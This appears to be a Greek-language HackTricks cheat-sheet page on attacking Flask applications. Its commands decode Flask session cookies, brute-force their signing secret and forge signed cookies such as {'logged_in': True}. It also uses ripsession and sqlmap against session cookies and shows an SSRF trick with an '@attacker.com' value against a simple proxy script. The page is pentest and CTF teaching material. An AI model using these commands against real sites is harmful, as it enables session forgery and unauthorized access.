Flask
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Πιθανότατα, αν παίζεις CTF, μια εφαρμογή Flask θα σχετίζεται με SSTI.
Cookies
Το προεπιλεγμένο όνομα του session cookie είναι session.
Αποκωδικοποιητής
Online αποκωδικοποιητής cookies για Flask: https://www.kirsle.net/wizards/flask-session.cgi
Χειροκίνητο
Πάρε το πρώτο μέρος του cookie μέχρι την πρώτη τελεία και κάνε Base64 decode:
echo "ImhlbGxvIg" | base64 -d
Το cookie υπογράφεται επίσης με έναν κωδικό πρόσβασης
Flask-Unsign
Εργαλείο γραμμής εντολών για την ανάκτηση, αποκωδικοποίηση, brute-force και δημιουργία session cookies μιας εφαρμογής Flask, μαντεύοντας τα μυστικά κλειδιά.
pip3 install flask-unsign
Αποκωδικοποίηση Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Υπογραφή
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Υπογραφή χρησιμοποιώντας legacy (παλιές εκδόσεις)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Εργαλείο γραμμής εντολών για brute-force ιστότοπων χρησιμοποιώντας cookies κατασκευασμένα με flask-unsign.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi σε Flask session cookie με SQLmap
Αυτό το παράδειγμα χρησιμοποιεί την επιλογή sqlmap eval για να υπογράψει αυτόματα sqlmap payloads για flask χρησιμοποιώντας ένα γνωστό secret.
Flask Proxy προς SSRF
Σε αυτό το writeup εξηγείται πώς το Flask επιτρέπει ένα request που ξεκινά με τον χαρακτήρα “@”:
GET @/ HTTP/1.1
Host: target.com
Connection: close
Ποιο στο ακόλουθο σενάριο:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Μπορεί να επιτρέψει την εισαγωγή μιας τιμής όπως “@attacker.com” για να προκαλέσει SSRF.
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


